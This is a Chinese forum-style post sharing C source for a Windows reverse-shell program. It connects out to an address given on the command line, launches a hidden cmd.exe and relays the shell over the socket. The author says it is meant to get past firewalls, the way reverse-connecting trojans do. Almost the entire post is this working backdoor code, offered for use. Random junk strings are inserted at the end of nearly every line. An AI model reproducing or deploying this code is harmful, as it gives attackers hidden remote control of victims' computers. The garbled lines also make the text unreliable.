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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]6TX)1  
\_PD@A9  
/* ============================== 4z^5|$?_ta  
Rebound port in Windows NT pPt w(5bH  
By wind,2006/7 ICXz(?a  
===============================*/ /2AeJH\-  
#include g'{hp:  
#include _0=$ 2Y^  
qW'5Zk  
#pragma comment(lib,"wsock32.lib") TrC :CL  
PvB-Cqc  
void OutputShell(); ^ G@o} Z  
SOCKET sClient; BSbi.@@tp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T^n0=|  
6qp' _?  
void main(int argc,char **argv) fN{JLp  
{ 30nR2mB Kt  
WSADATA stWsaData; TNK~ETE4  
int nRet; k4Ub+F  
SOCKADDR_IN stSaiClient,stSaiServer; ECEDNib  
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if(argc != 3) 3# r` e  
{ )A H)*Mg  
printf("Useage:\n\rRebound DestIP DestPort\n"); W! q-WU  
return; _4h[q4Z  
} !$|h[ct  
J|GEt@o3  
WSAStartup(MAKEWORD(2,2),&stWsaData); NamO5(1C  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FW7@7cVoF  
-McDNM  
stSaiClient.sin_family = AF_INET; /QK H30E  
stSaiClient.sin_port = htons(0); <764|q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qz2j55j   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S((\KL,  
{ Zn9ecN  
printf("Bind Socket Failed!\n"); 9#A&Qvyywg  
return; M~k2Y$}R  
} TScI_8c>  
;]+p>p-#  
stSaiServer.sin_family = AF_INET; GVl TW?5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7y2-8e L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l9up?opq  
^~:&/0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o$FYCz n  
{ KeiPo KhZi  
printf("Connect Error!"); Cvf^3~ q  
return; C-6m[W8S  
} 2%F!aeX  
OutputShell(); $IU|zda8  
} A(<"oAe|  
d|c> Y(  
void OutputShell() AECaX4h+_  
{ -6./bB g  
char szBuff[1024]; (#"iZv,  
SECURITY_ATTRIBUTES stSecurityAttributes; ?()$imb*  
OSVERSIONINFO stOsversionInfo; v%%;Cp73  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )Ap0" ?q  
STARTUPINFO stStartupInfo; 4$=ATa;x-  
char *szShell; .oR_r1\y  
PROCESS_INFORMATION stProcessInformation; uNcE_<  
unsigned long lBytesRead; =*Ad  
6%&RDrn  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !gfz4f&  
4:Bpz;x  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,9:0T LLR  
stSecurityAttributes.lpSecurityDescriptor = 0; OVE5:)$x  
stSecurityAttributes.bInheritHandle = TRUE; [,1\>z|&  
8a SH0dX  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %wD<\ XRM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AX= 4{b'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gqi|k6V/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NpIx\\d  
stStartupInfo.wShowWindow = SW_HIDE; ?H.7 WtTC  
stStartupInfo.hStdInput = hReadPipe; BVt)~HZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q ]u*Oels  
u9 yXHf  
GetVersionEx(&stOsversionInfo); W r%E}mX-  
6UkX?I`>  
switch(stOsversionInfo.dwPlatformId) @6roW\'$  
{ \D]H>i$  
case 1: q["T6  
szShell = "command.com"; xqua>!mqS  
break; ny. YkN2  
default: re `B fN  
szShell = "cmd.exe"; F5#P{ zk|  
break; ?oc#$fcQ~  
} %z_PEqRj  
'{t&!M`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ 4& )  
QE.a2 }  
send(sClient,szMsg,77,0); Y`x54_32  
while(1) ezC2E/#  
{ Yzr|Z7r q}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7|"gMw/  
if(lBytesRead) @\=% M^bx  
{ YMSA[hm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -I'@4\<  
send(sClient,szBuff,lBytesRead,0); qOV6Kh)  
} "t{|e6   
else jE !W&0  
{ L)sCc0fv7k  
lBytesRead=recv(sClient,szBuff,1024,0); `qjiC>9  
if(lBytesRead<=0) break; .!\NM&E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dh~+0FZ{A  
} <R6$ kom`  
} Ier0F7]I  
%Q}T9%Mtj  
return; k_2W*2'S  
}
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